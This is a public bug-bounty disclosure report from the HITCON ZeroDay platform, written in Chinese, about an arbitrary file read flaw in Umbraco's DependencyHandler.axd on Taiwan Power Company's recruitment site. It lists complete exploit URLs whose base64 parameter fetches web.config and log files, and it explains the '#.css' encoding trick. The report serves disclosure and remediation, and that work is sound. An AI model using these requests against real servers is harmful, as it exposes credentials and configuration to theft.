Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00673
- Vendor: 台灣電力公司
- Title: [Bounty] 台灣電力公司 讀檔漏洞
- Introduction: 讀檔漏洞
處理狀態
目前狀態
公開
Last Update : 2022/09/21
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2022/08/26 18:57:47 : 新提交 (由 K4iBr0 更新此狀態)
- 2022/08/29 14:51:02 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/31 17:26:43 : 複測申請中 (由 組織帳號 更新此狀態)
- 2022/08/31 17:54:16 : 確認已修補 (由 K4iBr0 更新此狀態)
- 2022/09/04 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2022/09/21 18:37:34 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/21 18:37:48 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/21 18:38:34 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)
詳細資料
- ZDID:ZD-2022-00673
- 通報者:Kaibro (K4iBr0)
- 風險:高
- 類型:任意檔案下載 (Arbitrary File Download)
參考資料
攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://recruit.taipower.com.tw/DependencyHandler.axd?s=aHR0cHM6Ly9yZWNydWl0LnRhaXBvd2VyLmNvbS50dy93ZWIuY29uZmlnIy5jc3M=&t=555&cdv=1
https://recruit.taipower.com.tw/DependencyHandler.axd?s=aHR0cHM6Ly9yZWNydWl0LnRhaXBvd2VyLmNvbS50dy9BcHBfRGF0YS91bWJyYWNvLmxpY2Vuc2luZy5sb2cudHh0Iy5jc3M=&t=555&cdv=1
https://recruit.taipower.com.tw/DependencyHandler.axd?s=aHR0cHM6Ly9yZWNydWl0LnRhaXBvd2VyLmNvbS50dy9BcHBfRGF0YS91bWJyYWNvLmxpY2Vuc2luZy5sb2cudHh0Iy5jc3M=&t=555&cdv=1
敘述
該系統使用之 Umbraco 存在已知讀檔漏洞,可以透過 DependencyHandler.axd
任意讀取設定檔、程式碼等敏感資訊
舉例:
讀取 web.config 取得帳密等資訊
(註: s 參數為 base64('https://recruit.taipower.com.tw/web.config#.css')
)
從 web.config 可以看到資料庫連線之帳號密碼等機敏資訊:
亦可讀取其他設定檔取得如實體路徑等敏感資訊:
(/App_Data/umbraco.licensing.log.txt
)
而其他像是 aspx 程式碼也可以讀取,這裡以讀取 default.aspx 為例:
修補建議
將 Umbraco 升至最新版本,以避免攻擊者透過已知漏洞進行攻擊
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。